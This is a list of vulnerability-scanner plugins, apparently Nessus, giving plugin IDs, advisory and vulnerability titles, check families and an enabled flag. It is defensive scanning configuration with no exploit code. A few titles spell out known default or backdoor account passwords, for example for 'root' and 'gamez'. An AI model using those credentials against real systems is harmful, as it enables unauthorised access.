GLSA-201201-02 : MySQL: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
10625
UoW imapd (UW-IMAP) Multiple Command Remote Overflows
Gain a shell remotely
enabled
11575
Kerio Personal Firewall Administrator Authentication Handshake Packet Remote Buffer Overflow
Firewalls
enabled
48246
LiteSpeed Web Server Source Code Information Disclosure
Web Servers
enabled
22494
ePolicy Orchestrator HTTP /spipe/pkg/ Source Header Remote Overflow
Web Servers
enabled
20172
MS05-053: Vulnerabilities in Graphics Rendering Engine Could Allow Code Execution (896424)
Windows : Microsoft Bulletins
enabled
27558
GLSA-200710-26 : HPLIP: Privilege escalation
Gentoo Local Security Checks
enabled
25955
Yahoo! Messenger YVerInfo ActiveX Buffer Overflows
Windows
enabled
50989
ProFTPD Compromised Source Packages Trojaned Distribution
FTP
enabled
57844
USN-1355-1 : firefox vulnerabilities
Ubuntu Local Security Checks
enabled
46873
CentOS : RHSA-2010-0339
CentOS Local Security Checks
enabled
49126
GLSA-201009-05 : Adobe Reader: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
50505
FreeBSD : linux-flashplugin -- multiple vulnerabilities (76b597e4-e9c6-11df-9e10-001b2134ef46)
FreeBSD Local Security Checks
enabled
32481
Now SMS/MMS Gateway < 2008.02.22 Multiple Remote Overflows
Windows
enabled
25236
GLSA-200705-15 : Samba: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
36530
USN-758-1 : udev vulnerabilities
Ubuntu Local Security Checks
enabled
20812
Mercury Mail ph Server Remote Overflow
Gain a shell remotely
enabled
59457
MS12-039: Vulnerabilities in Lync Could Allow Remote Code Execution (2707956)
Windows : Microsoft Bulletins
enabled
21332
MS06-019: Vulnerability in Microsoft Exchange Could Allow Remote Code Execution (916803)
Windows : Microsoft Bulletins
enabled
61598
Scrutinizer < 9.5.2 d4d/statusFilter.php q Parameter SQL Injection
CGI abuses
enabled
36175
Fedora 9 : udev-124-4.fc9 (2009-3712)
Fedora Local Security Checks
enabled
61227
Scientific Linux Security Update : php on SL4.x i386/x86_64
Scientific Linux Local Security Checks
enabled
15902
MailCarrier < 3.0.1 SMTP EHLO Command Remote Overflow
SMTP problems
enabled
59675
GLSA-201206-22 : Samba: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
42431
RHEL 4 / 5 : java-1.6.0-sun (RHSA-2009-1560)
Red Hat Local Security Checks
enabled
42120
Adobe Reader < 9.2 / 8.1.7 / 7.1.4 Multiple Vulnerabilities (APSB09-15)
Windows
enabled
53715
SuSE 11.2 Security Update: exim (2010-12-11)
SuSE Local Security Checks
enabled
55456
Trend Micro Data Loss Prevention Virtual Appliance Encoded Traversal Arbitrary File Access
CGI abuses
enabled
43135
HP-UX PHSS_36589 : s700_800 11.X OV DP6.00 IA-64 patch - CS packet
HP-UX Local Security Checks
enabled
42289
VMSA-2009-0015 : VMware hosted products and ESX patches resolve two security issues
VMware ESX Local Security Checks
enabled
57482
RHEL 4 / 5 / 6 : acroread (RHSA-2012-0011)
Red Hat Local Security Checks
enabled
42211
Default Password (infoblox) for 'admin' Account
Default Unix Accounts
enabled
60777
Scientific Linux Security Update : java (jdk 1.6.0) on SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
57607
IBM WebSphere Application Server 6.1 < 6.1.0.41 Multiple Vulnerabilities
Web Servers
enabled
24268
QuickTime RTSP URL Handler Buffer Overflow (Windows)
Windows
enabled
50063
MS09-067 / MS09-068: Vulnerabilities in Microsoft Office Could Allow Remote Code Execution (972652 / 976307) (Mac OS X)
MacOS X Local Security Checks
enabled
14843
Icecast HTTP Header Processing Remote Overflow
Web Servers
enabled
53580
RHEL 4 / 5 / 6 : firefox (RHSA-2011-0471)
Red Hat Local Security Checks
enabled
40347
Fedora 11 : kazehakase-0.5.6-11.svn3771_trunk.fc11.3 / Miro-2.0.5-2.fc11 / blam-1.8.5-12.fc11 / etc (2009-7898)
Fedora Local Security Checks
enabled
50380
Adobe Acrobat 9 <= 9.4 (APSA10-05)
Windows
enabled
61747
VMSA-2012-0013 : VMware vSphere and vCOps updates to third party libraries
VMware ESX Local Security Checks
enabled
63590
RHEL 5 / 6 : java-1.7.0-openjdk (RHSA-2013-0165)
Red Hat Local Security Checks
enabled
61025
Scientific Linux Security Update : firefox on SL4.x, SL5.x, SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
12227
HP Web JetAdmin <=7.0 Multiple Vulnerabilities (XSS, Code Exe, DoS, more)
CGI abuses
enabled
22127
eIQnetworks Enterprise Security Analyzer Syslog Server Multiple Remote Overflows
Windows
enabled
57351
Firefox 8.x Multiple Vulnerabilities
Windows
enabled
24342
Solaris 10 (x86) : 120069-03
Solaris Local Security Checks
enabled
55804
Flash Player for Mac <= 10.3.181.36 Multiple Vulnerabilities (APSB11-21)
MacOS X Local Security Checks
enabled
44385
Mandriva Linux Security Advisory : wireshark (MDVSA-2010:031)
Mandriva Local Security Checks
enabled
28219
GLSA-200711-19 : TikiWiki: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
49219
MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290)
Windows : Microsoft Bulletins
enabled
57812
Debian DSA-2401-1 : tomcat6 - several vulnerabilities
Debian Local Security Checks
enabled
52671
Adobe Acrobat 9.x / 10.x Unspecified Memory Corruption (APSB11-06)
Windows
enabled
12261
Subversion < 1.0.3 apr_time_t data Conversion Remote Overflow
Misc.
enabled
55401
RHEL 4 : seamonkey (RHSA-2011-0888)
Red Hat Local Security Checks
enabled
35367
GLSA-200901-09 : Adobe Reader: User-assisted execution of arbitrary code
Gentoo Local Security Checks
enabled
52640
Fedora 13 : wireshark-1.2.15-1.fc13 (2011-2620)
Fedora Local Security Checks
enabled
44585
USN-897-1 : mysql-dfsg-5.0, mysql-dfsg-5.1 vulnerabilities
Ubuntu Local Security Checks
enabled
40599
Fedora 11 : wordpress-mu-2.8.4a-1.fc11 (2009-8529)
Fedora Local Security Checks
enabled
36078
GLSA-200904-01 : Openfire: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
27909
USN-330-1 : tiff vulnerabilities
Ubuntu Local Security Checks
enabled
59964
USN-1505-1 : icedtea-web, openjdk-6 vulnerabilities
Ubuntu Local Security Checks
enabled
51446
FreeBSD : exim -- local privilege escalation (e4fcf020-0447-11e0-becc-0022156e8794)
FreeBSD Local Security Checks
enabled
43002
Mac OS X : Java for Mac OS X 10.5 Update 6
MacOS X Local Security Checks
enabled
57578
op5 Config Arbitrary Command Execution
CGI abuses
enabled
53602
Debian DSA-2227-1 : iceape - several vulnerabilities
Debian Local Security Checks
enabled
53882
Mandriva Linux Security Advisory : wireshark (MDVSA-2011:083)
Mandriva Local Security Checks
enabled
50459
Fedora 14 : seamonkey-2.0.10-1.fc14 (2010-17105)
Fedora Local Security Checks
enabled
51716
SuSE 10 Security Update : acroread_ja (ZYPP Patch Number 7267)
SuSE Local Security Checks
enabled
48405
MS10-054: Vulnerabilities in SMB Server Could Allow Remote Code Execution (982214) (remote check)
Windows
enabled
25222
SSA-2007-134-01 : samba
Slackware Local Security Checks
enabled
12616
FreeBSD : Buffer overflow in Squid NTLM authentication helper (183)
FreeBSD Local Security Checks
enabled
41221
SuSE9 Security Update : bind (YOU Patch Number 12197)
SuSE Local Security Checks
enabled
59638
RHEL 6 : java-1.7.0-oracle (RHSA-2012-1019)
Red Hat Local Security Checks
enabled
39951
SuSE 11.0 Security Update: dnsmasq (2008-08-13)
SuSE Local Security Checks
enabled
19414
WordPress Cookie cache_lastpostdate Parameter PHP Code Injection
CGI abuses
enabled
51197
RHEL 4 / 5 / 6 : java-1.6.0-ibm (RHSA-2010-0987)
Red Hat Local Security Checks
enabled
33864
HP-UX PHNE_37865 : HP-UX Running BIND, Remote DNS Cache Poisoning (HPSBUX02351 SSRT080058 rev.6)
HP-UX Local Security Checks
enabled
44727
Debian DSA-1862-1 : linux-2.6 - privilege escalation
Debian Local Security Checks
enabled
34362
Trend Micro OfficeScan Client Traversal Arbitrary File Access
Web Servers
enabled
59266
Fedora 16 : maniadrive-1.2-32.fc16.5 / php-5.3.13-1.fc16 / php-eaccelerator-0.9.6.1-9.fc16.5 (2012-7586)
Fedora Local Security Checks
enabled
20299
MS05-054: Cumulative Security Update for Internet Explorer (905915)
Windows : Microsoft Bulletins
enabled
44665
RHEL 4 / 5 : acroread (RHSA-2010-0114)
Red Hat Local Security Checks
enabled
50385
Mozilla Thunderbird 3.1 < 3.1.6 Buffer Overflow
Windows
enabled
54954
Cisco AnyConnect Secure Mobility Client < 2.3.254 Multiple Vulnerabilities
Windows
enabled
48424
Mac OS X Multiple Vulnerabilities (Security Update 2010-005)
MacOS X Local Security Checks
enabled
25459
Yahoo! Messenger Webcam ActiveX Buffer Overflows
Windows
enabled
22437
HP-UX PHSS_33252 : HP OpenView Operations, Remote Unauthorized Access and Denial of Service (DoS) (HPSBMA02149 SSRT050968 rev.1)
HP-UX Local Security Checks
enabled
25086
CA BrightStor ARCserve Backup Multiple Vulnerabilities (QO87569)
Windows
enabled
55728
SuSE 11.1 Security Update : libwebkit (SAT Patch Number 4917)
SuSE Local Security Checks
enabled
29971
HP-UX PHSS_37397 : HP OpenView Operations (OVO) Agents Running Shared Trace Service, Remote Arbitrary Code Execution (HPSBMA02239 SSRT061260 rev.3)
HP-UX Local Security Checks
enabled
34725
Openfire AuthCheck Authentication Bypass
CGI abuses
enabled
49996
Oracle Java SE Multiple Vulnerabilities (October 2010 CPU)
Windows
enabled
21379
FreeBSD : postnuke -- multiple vulnerabilities (0274a9f1-0759-11da-bc08-0001020eed82)
FreeBSD Local Security Checks
enabled
57932
USN-1358-2 : php5 regression
Ubuntu Local Security Checks
enabled
55400
RHEL 4 / 5 : thunderbird (RHSA-2011-0887)
Red Hat Local Security Checks
enabled
56703
phpLDAPadmin orderby Parameter Arbitrary PHP Code Execution
CGI abuses
enabled
63265
HP Intelligent Management Center User Access Manager Datagram Parsing Code Execution
Gain a shell remotely
enabled
49932
SuSE 10 Security Update : xntp (ZYPP Patch Number 6718)
SuSE Local Security Checks
enabled
10685
Microsoft IIS ISAPI Filter Multiple Vulnerabilities (MS01-044)
Web Servers
enabled
39920
SuSE 11.0 Security Update: bind (2008-07-08)
SuSE Local Security Checks
enabled
43844
RHEL 4 : tomcat (RHSA-2009-1616)
Red Hat Local Security Checks
enabled
55720
Computer Associates ARCserve D2D homepageServlet Servlet Information Disclosure
CGI abuses
enabled
53736
SuSE 11.2 Security Update: java-1_6_0-sun (2011-02-17)
SuSE Local Security Checks
enabled
63885
RHEL 4 : JBoss EAP (RHSA-2009-1146)
Red Hat Local Security Checks
enabled
31778
SuSE Security Update: Wireshark security update (wireshark-5145)
SuSE Local Security Checks
enabled
56560
RHEL 4 / 5 / 6 : java-1.6.0-sun (RHSA-2011-1384)
Red Hat Local Security Checks
enabled
58090
Oracle GlassFish Server 2.1.1 < 2.1.1.15 / 3.0.1 < 3.0.1.5 / 3.1.1 < 3.1.1.2 Hash Collision Denial of Service
Web Servers
enabled
50382
Firefox < 3.5.15 Buffer Overflow
Windows
enabled
50383
Firefox 3.6 < 3.6.12 Buffer Overflow
Windows
enabled
11262
Default Password (D13hh[) for 'root' Account
Default Unix Accounts
enabled
59499
iTunes < 10.6.3 m3u Multiple Buffer Overflow Vulnerabilities (Mac OS X)
MacOS X Local Security Checks
enabled
26155
HP-UX PHSS_36386 : HP OpenView Network Node Manager (OV NNM) Running Apache, Remote Cross Site Scripting (XSS), Denial of Service (DoS), Execute Arbitrary Code (HPSBMA02328 SSRT071293 rev.2)
HP-UX Local Security Checks
enabled
23716
HP-UX PHSS_35458 : s700_800 11.04 Virtualvault 4.5 IWS Update
HP-UX Local Security Checks
enabled
23713
HP-UX PHSS_35111 : s700_800 11.04 Webproxy 2.1 (Apache 1.x) update
HP-UX Local Security Checks
enabled
44406
Samba Symlink Traversal Arbitrary File Access (unsafe check)
Misc.
enabled
23876
Mandrake Linux Security Advisory : webmin (MDKSA-2006:125)
Mandriva Local Security Checks
enabled
22511
CA BrightStor ARCserve Backup DBASVR for Windows Multiple Remote Buffer Overflows
Windows
enabled
12387
RHEL 2.1 : samba (RHSA-2003-138)
Red Hat Local Security Checks
enabled
10116
Microsoft IIS ISM.DLL HTR Request Remote Overflow
Web Servers
enabled
13319
Solaris 8 (sparc) : 109320-22
Solaris Local Security Checks
enabled
53809
SuSE 11.2 Security Update: wireshark (2011-04-11)
SuSE Local Security Checks
enabled
34379
Fedora 8 : ruby-1.8.6.287-2.fc8 (2008-8736)
Fedora Local Security Checks
enabled
55836
CentOS : RHSA-2011-0888
CentOS Local Security Checks
enabled
10394
Microsoft Windows SMB Log In Possible
Windows
enabled
57409
RHEL 6 : krb5-appl (RHSA-2011-1852)
Red Hat Local Security Checks
enabled
22510
CA BrightStor ARCserve Backup for Windows Multiple Remote Buffer Overflows (QO81201)
Windows
enabled
11771
Alt-N WebAdmin Multiple Vulnerabilities
CGI abuses
enabled
63801
AIX 5.3 TL 9 : xntpd (IZ71093)
AIX Local Security Checks
enabled
50551
Fedora 14 : proftpd-1.3.3c-1.fc14 (2010-17091)
Fedora Local Security Checks
enabled
24361
Fedora Core 5 : spamassassin-3.1.8-1.fc5 (2007-242)
Fedora Local Security Checks
enabled
10932
Microsoft IIS .HTR ISAPI Filter Enabled
Web Servers
enabled
50465
SuSE 11.2 Security Update: MozillaThunderbird (2010-10-28)
SuSE Local Security Checks
enabled
34680
Opera < 9.62 Multiple Vulnerabilities
Windows
enabled
54922
IBM Lotus Notes Attachment Handling Multiple Buffer Overflows
Windows
enabled
63457
Debian DSA-2604-1 : rails - insufficient input validation
Debian Local Security Checks
enabled
44128
SuSE 11.2 Security Update: acroread (2010-01-22)
SuSE Local Security Checks
enabled
10647
NTP ntpd readvar Variable Remote Overflow
Gain a shell remotely
enabled
53582
RHEL 4 : seamonkey (RHSA-2011-0473)
Red Hat Local Security Checks
enabled
62071
Scientific Linux Security Update : java-1.6.0-sun on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
49707
Trend Micro Internet Security Pro UfProxyBrowserCtrl ActiveX extSetOwner Function Arbitrary Code Execution
Windows
enabled
33450
Debian DSA-1603-1 : bind9 - DNS cache poisoning
Debian Local Security Checks
enabled
61230
Scientific Linux Security Update : firefox on SL4.x, SL5.x, SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
39380
HP-UX PHSS_38489 : s700_800 11.X OV NNM7.53 IA-64 Intermediate Patch 20
HP-UX Local Security Checks
enabled
43081
RHEL 3 : ntp (RHSA-2009-1651)
Red Hat Local Security Checks
enabled
29825
XUpload ActiveX Control AddFolder Method Buffer Overflow
Windows
enabled
59850
Basilic diff.php Command Injection
CGI abuses
enabled
28059
USN-460-1 : Samba vulnerabilities
Ubuntu Local Security Checks
enabled
53650
SuSE 10 Security Update : Mozilla XULrunner (ZYPP Patch Number 7493)
SuSE Local Security Checks
enabled
18625
Fedora Core 4 : php-5.0.4-10.3 (2005-518)
Fedora Local Security Checks
enabled
57472
MS12-004: Vulnerabilities in Windows Media Could Allow Remote Code Execution (2636391)
Windows : Microsoft Bulletins
enabled
10989
Nortel/Bay Networks Default Password
Misc.
enabled
22987
Solaris 10 (x86) : 119116-35
Solaris Local Security Checks
enabled
35305
SuSE Security Update: java-1_5_0-sun security update (java-1_5_0-sun-5875)
SuSE Local Security Checks
enabled
20391
WinProxy < 6.1a HTTP Proxy Multiple Vulnerabilities
Firewalls
enabled
43139
HP-UX PHSS_36800 : s700_800 11.23 OV DP5.50 IA-64 patch - CS packet
HP-UX Local Security Checks
enabled
36926
Mandriva Linux Security Advisory : tomcat5 (MDVSA-2008:188)
Mandriva Local Security Checks
enabled
55158
FreeBSD : linux-flashplugin -- remote code execution vulnerability (55a528e8-9787-11e0-b24a-001b2134ef46)
FreeBSD Local Security Checks
enabled
28135
USN-530-1 : hplip vulnerability
Ubuntu Local Security Checks
enabled
40370
VMSA-2007-0006 : Critical security updates for all supported versions of VMware ESX Server, VMware Server, VMware Workstation, VMware ACE, and VMware Player
VMware ESX Local Security Checks
enabled
27094
Solaris 9 (x86) : 114265-23
Solaris Local Security Checks
enabled
27747
Fedora 7 : clamav-0.91.2-2.fc7 (2007-2050)
Fedora Local Security Checks
enabled
23762
GLSA-200611-26 : ProFTPD: Remote execution of arbitrary code
Gentoo Local Security Checks
enabled
38977
IBM Access Support ActiveX Control GetXMLValue Method Overflow
Windows
enabled
23883
Mandrake Linux Security Advisory : apache (MDKSA-2006:133)
Mandriva Local Security Checks
enabled
15564
Ipswitch WhatsUp Gold _maincfgret.cgi Remote Overflow
CGI abuses
enabled
58252
Fedora 15 : httpd-2.2.22-1.fc15 (2012-1642)
Fedora Local Security Checks
enabled
43102
SSA-2009-343-01 : ntp
Slackware Local Security Checks
enabled
17638
Avaya P330 Stackable Switch Default Password
Misc.
enabled
58752
CentOS : RHSA-2012-0475
CentOS Local Security Checks
enabled
51954
USN-1060-1 : exim4 vulnerabilities
Ubuntu Local Security Checks
enabled
51087
SuSE 11 / 11.1 Security Update : acroread_ja (SAT Patch Numbers 3638 / 3639)
SuSE Local Security Checks
enabled
18648
RHEL 3 / 4 : php (RHSA-2005-564)
Red Hat Local Security Checks
enabled
22460
GLSA-200609-16 : Tikiwiki: Arbitrary command execution
Gentoo Local Security Checks
enabled
63882
RHEL 5 : JBoss EAP (RHSA-2009-1143)
Red Hat Local Security Checks
enabled
50882
SuSE 11 / 11.1 Security Update : acroread (SAT Patch Numbers 2639 / 2640)
SuSE Local Security Checks
enabled
58740
SuSE 11.1 Security Update : PHP5 (SAT Patch Number 5964)
SuSE Local Security Checks
enabled
45489
AjaXplorer checkInstall.php Arbitrary Command Injection
CGI abuses
enabled
57873
USN-1350-1 : thunderbird vulnerabilities
Ubuntu Local Security Checks
enabled
46807
GLSA-201006-18 : Oracle JRE/JDK: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
35188
GLSA-200812-17 : Ruby: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
25679
FreeBSD : wireshark -- Multiple problems (7fadc049-2ba0-11dc-9377-0016179b2dd5)
FreeBSD Local Security Checks
enabled
50549
Mac OS X Multiple Vulnerabilities (Security Update 2010-007)
MacOS X Local Security Checks
enabled
29801
IBM Lotus Domino Web Access ActiveX Control Buffer Overflow Vulnerabilities
Windows
enabled
19397
VERITAS Backup Exec Agent Unauthenticated Remote Registry Access
Gain a shell remotely
enabled
36526
Mandriva Linux Security Advisory : bind (MDVSA-2008:139)
Mandriva Local Security Checks
enabled
25123
QuickTime < 7.1.6 quicktime.util.QTHandleRef toQTPointer Method Arbitrary Code Execution (Windows)
Windows
enabled
46191
SuSE 11.2 Security Update: java-1_6_0-openjdk (2010-04-12)
SuSE Local Security Checks
enabled
39383
HP-UX PHSS_39245 : s700_800 11.X OV NNM7.53 PA-RISC Intermediate Patch 22
HP-UX Local Security Checks
enabled
38808
Microsoft IIS WebDAV Unicode Request Directory Security Bypass
Web Servers
enabled
23719
HP-UX PHSS_35461 : s700_800 11.04 Virtualvault 4.5 OWS update
HP-UX Local Security Checks
enabled
58381
GLSA-201203-16 : ModPlug: User-assisted execution of arbitrary code
Gentoo Local Security Checks
enabled
60776
Scientific Linux Security Update : java-1.6.0-openjdk on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
27113
SuSE Security Update: MozillaFirefox: Security update to version 1.5.0.6 (MozillaFirefox-1981)
SuSE Local Security Checks
enabled
42119
Adobe Acrobat < 9.2 / 8.1.7 / 7.1.4 Multiple Vulnerabilities (APSB09-15)
Windows
enabled
56084
Mandriva Linux Security Advisory : apache (MDVSA-2011:130-1)
Mandriva Local Security Checks
enabled
27054
HP Linux Imaging and Printing Project (hplip) hpssd from Address Command Injection
Gain a shell remotely
enabled
49846
SuSE 10 Security Update : ethereal (ZYPP Patch Number 6890)
SuSE Local Security Checks
enabled
63930
RHEL 5 : JBoss EAP (RHSA-2010-0378)
Red Hat Local Security Checks
enabled
49990
RHEL 4 / 5 : java-1.6.0-sun (RHSA-2010-0770)
Red Hat Local Security Checks
enabled
40271
SuSE 11.1 Security Update: libudev-devel (2009-04-14)
SuSE Local Security Checks
enabled
43861
Adobe Illustrator Multiple Vulnerabilities (APSB10-01)
Windows
enabled
36073
SAP GUI Moniker Creation Multiple Vulnerabilities
Windows
enabled
47692
SuSE 11.1 Security Update: acroread (2010-07-08)
SuSE Local Security Checks
enabled
64036
RHEL 5 : php53 (RHSA-2012-0569)
Red Hat Local Security Checks
enabled
53747
SuSE 11.2 Security Update: libmodplug (2011-04-12)
SuSE Local Security Checks
enabled
52749
RHEL 6 : wireshark (RHSA-2011-0369)
Red Hat Local Security Checks
enabled
29200
HP-UX PHSS_37141 : s700_800 11.X OV NNM6.4x/ET2.0x Intermediate Patch 17
HP-UX Local Security Checks
enabled
51785
CentOS : RHSA-2011-0153
CentOS Local Security Checks
enabled
18624
Fedora Core 3 : php-4.3.11-2.6 (2005-517)
Fedora Local Security Checks
enabled
17254
RealPlayer Multiple Remote Overflows (2005-03-01)
Windows
enabled
51664
Citrix Provisioning Services StreamProcess.exe 0x40020010 Packet Handling Overflow
Windows
enabled
11513
Solaris in.lpd Crafted Job Request Arbitrary Remote Command Execution
Gain a shell remotely
enabled
21689
MS06-025: Vulnerability in Routing and Remote Access Could Allow Remote Code Execution (911280)
Windows : Microsoft Bulletins
enabled
45070
SuSE9 Security Update : ethereal (YOU Patch Number 12593)
SuSE Local Security Checks
enabled
63983
RHEL 5 : IBM Java Runtime (RHSA-2011-0880)
Red Hat Local Security Checks
enabled
15970
MS04-035: WINS Code Execution (870763) (uncredentialed check)
Windows
enabled
59329
Atlassian JIRA 5.0.1 XML Parsing Vulnerability
CGI abuses
enabled
19555
HP OpenView Network Node Manager Multiple Scripts Remote Command Execution
CGI abuses
enabled
20241
Google Search Appliance proxystylesheet Parameter Multiple Remote Vulnerabilities (XSS, Code Exec, ID)
CGI abuses
enabled
53584
RHEL 6 : thunderbird (RHSA-2011-0475)
Red Hat Local Security Checks
enabled
42024
SuSE Security Update: nagios remote code exec via CGI (nagios-6355)
SuSE Local Security Checks
enabled
31654
Apache < 1.3.37 mod_rewrite LDAP Protocol URL Handling Overflow
Web Servers
enabled
31997
CentOS : RHSA-2008-0176
CentOS Local Security Checks
enabled
25224
CentOS : RHSA-2007-0354
CentOS Local Security Checks
enabled
49825
SuSE 11.2 Security Update: acroread (2010-10-07)
SuSE Local Security Checks
enabled
57193
SuSE 10 Security Update : flash-player (ZYPP Patch Number 7679)
SuSE Local Security Checks
enabled
56495
FreeBSD : amaya -- multiple buffer overflow vulnerabilities (a89b76a7-f6bd-11dd-94d9-0030843d3802)
FreeBSD Local Security Checks
enabled
34227
Fedora 8 : tomcat5-5.5.27-0jpp.2.fc8 (2008-8130)
Fedora Local Security Checks
enabled
63521
Oracle Java SE 7 < Update 11 Multiple Vulnerabilities
Windows
enabled
31049
Ask.com Toolbar AskJeevesToolBar.SettingsPlugin.1 ActiveX (askBar.dll) ShortFormat Property Arbitrary Code Execution
Windows
enabled
29830
ClamAV clamav-milter black-hole-mode Sendmail Recipient Field Arbitrary Command Execution
SMTP problems
enabled
56816
FreeBSD : Apache 1.3 -- mod_proxy reverse proxy exposure (d8c901ff-0f0f-11e1-902b-20cf30e32f6d)
FreeBSD Local Security Checks
enabled
11263
Default Password (lrkr0x) for 'gamez' Account
Default Unix Accounts
enabled
18034
Oracle Database 10g Multiple Remote Vulnerabilities
Databases
enabled
60570
Scientific Linux Security Update : udev on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
61299
Scientific Linux Security Update : tomcat5 on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
33462
RHEL 2.1 / 3 / 4 / 5 : bind (RHSA-2008-0533)
Red Hat Local Security Checks
enabled
55908
RealPlayer for Windows < Build 12.0.1.666 Multiple Vulnerabilities
Windows
enabled
11260
Default Password (w**k) for 'w**k' Account
Default Unix Accounts
enabled
56164
Wireshark 1.6.x < 1.6.2 Multiple Vulnerabilities
Windows
enabled
57777
CentOS : RHSA-2012-0079
CentOS Local Security Checks
enabled
27334
SuSE Security Update: libtiff: Various remotely exploitable bugs fixed (libtiff-1907)
SuSE Local Security Checks
enabled
34502
CentOS : RHSA-2008-0897
CentOS Local Security Checks
enabled
17814
yaSSL 1.7.5 Buffer Overflow
Databases
enabled
46189
SuSE 11.1 Security Update: java-1_6_0-openjdk (2010-04-28)
SuSE Local Security Checks
enabled
64099
SuSE 11.1 Security Update : PHP5 (SAT Patch Number 6252)
SuSE Local Security Checks
enabled
61161
Scientific Linux Security Update : httpd on SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
34328
RHEL 3 / 4 / 5 : wireshark (RHSA-2008-0890)
Red Hat Local Security Checks
enabled
51133
RHEL 4 / 5 : exim (RHSA-2010-0970)
Red Hat Local Security Checks
enabled
45465
SuSE 11.2 Security Update: java-1_6_0-sun (2010-03-31)
SuSE Local Security Checks
enabled
21999
CentOS : RHSA-2006-0543
CentOS Local Security Checks
enabled
42009
SuSE Security Update: Linux Kernel update (kernel-6440)
SuSE Local Security Checks
enabled
40795
RHEL 3 : kernel (RHSA-2009-1233)
Red Hat Local Security Checks
enabled
43136
HP-UX PHSS_36622 : s700_800 11.X OV DP6.00 PA-RISC patch - CORE packet
HP-UX Local Security Checks
enabled
53598
CentOS : RHSA-2011-0471
CentOS Local Security Checks
enabled
51819
Debian DSA-2154-1 : exim4 - privilege escalation
Debian Local Security Checks
enabled
40605
Fedora 10 : kernel-2.6.27.29-170.2.79.fc10 (2009-8647)
Fedora Local Security Checks
enabled
53561
Fedora 13 : wireshark-1.2.16-1.fc13 (2011-5529)
Fedora Local Security Checks
enabled
42179
VMSA-2009-0014 : VMware ESX patches for DHCP, Service Console kernel, and JRE resolve multiple security issues
VMware ESX Local Security Checks
enabled
53270
HP-UX PHNE_41907 : HP-UX Running XNTP, Remote Denial of Service (DoS) (HPSBUX02639 SSRT100293 rev.1)
HP-UX Local Security Checks
enabled
15221
Debian DSA-384-1 : sendmail - buffer overflows
Debian Local Security Checks
enabled
18605
GLSA-200507-01 : PEAR XML-RPC, phpxmlrpc: PHP script injection vulnerability
Gentoo Local Security Checks
enabled
57541
Apache Tomcat 7.x < 7.0.23 Hash Collision Denial of Service
Web Servers
enabled
62392
Flexera AdminStudio LaunchProcess Function ActiveX Control Remote Command Execution
Windows
enabled
54644
VisiWave Site Survey Report VWR File Handling Overflow
Windows
enabled
52760
RHEL 5 / 6 : flash-plugin (RHSA-2011-0372)
Red Hat Local Security Checks
enabled
58769
Netop Remote Control dws File Handling Overflow
Windows
enabled
22309
SAP DB / MaxDB WebDBM Client Database Name Remote Overflow
CGI abuses
enabled
52750
RHEL 4 / 5 : wireshark (RHSA-2011-0370)
Red Hat Local Security Checks
enabled
22293
RHEL 2.1 / 3 : kdegraphics (RHSA-2006-0648)
Red Hat Local Security Checks
enabled
34393
CA BrightStor ARCserve Backup RPC Interface (asdbapi.dll) Traversal Arbitrary Command Execution
Windows
enabled
19556
Barracuda Spam Firewall < 3.1.18 Multiple Vulnerabilities (Cmd Exec, Traversal)
CGI abuses
enabled
24013
CA BrightStor ARCserve Backup Tape Engine Multiple Remote Overflows (QO84983)
Windows
enabled
10961
AirConnect Default Password
Misc.
enabled
33859
WebEx Meeting Manager WebexUCFObject ActiveX Control Buffer Overflow
Windows
enabled
43854
SuSE9 Security Update : IBM Java2 JRE and SDK (YOU Patch Number 12565)
SuSE Local Security Checks
enabled
26151
HP-UX PHSS_36278 : HP OpenView Operations (OVO) Agents Running Shared Trace Service, Remote Arbitrary Code Execution (HPSBMA02239 SSRT061260 rev.3)
HP-UX Local Security Checks
enabled
56778
USN-1259-1 : apache2, apache2-mpm-itk vulnerabilities
Ubuntu Local Security Checks
enabled
34226
Fedora 9 : tomcat5-5.5.27-0jpp.2.fc9 (2008-8113)
Fedora Local Security Checks
enabled
19402
MS05-039: Vulnerability in Plug and Play Could Allow Remote Code Execution and Elevation of Privilege (899588)
Windows : Microsoft Bulletins
enabled
36170
phpMyAdmin setup.php save Action Arbitrary PHP Code Injection (PMASA-2009-3)
CGI abuses
enabled
43087
USN-867-1 : ntp vulnerability
Ubuntu Local Security Checks
enabled
44110
MS10-002: Cumulative Security Update for Internet Explorer (978207)
Windows : Microsoft Bulletins
enabled
26187
IBM Tivoli Storage Manager Client Multiple Vulnerabilities (swg21268775)
Web Servers
enabled
18933
FreeBSD : pear-XML_RPC -- arbitrary remote code execution (523fad14-eb9d-11d9-a8bd-000cf18bbe54)
FreeBSD Local Security Checks
enabled
50402
Fedora 13 : firefox-3.6.12-1.fc13 / galeon-2.0.7-35.fc13 / gnome-python2-extras-2.25.3-24.fc13 / etc (2010-16883)
Fedora Local Security Checks
enabled
58671
FreeBSD : samba -- 'root' credential remote code execution (baf37cd2-8351-11e1-894e-00215c6a37bb)
FreeBSD Local Security Checks
enabled
18546
Cacti < 0.8.6e Multiple Vulnerabilities (SQLi, RFI)
CGI abuses
enabled
29970
HP-UX PHSS_37336 : HP OpenView Operations (OVO) Agents Running Shared Trace Service, Remote Arbitrary Code Execution (HPSBMA02239 SSRT061260 rev.3)
HP-UX Local Security Checks
enabled
55083
USN-1123-1 : xulrunner-1.9.1 vulnerabilities
Ubuntu Local Security Checks
enabled
32477
Mac OS X < 10.5.3 Multiple Vulnerabilities
MacOS X Local Security Checks
enabled
50687
RealWin < 2.1.10 Multiple Packet Type Processing Overflows
SCADA
enabled
19623
Fedora Core 3 : HelixPlayer-1.0.3-3.fc3 (2005-188)
Fedora Local Security Checks
enabled
53649
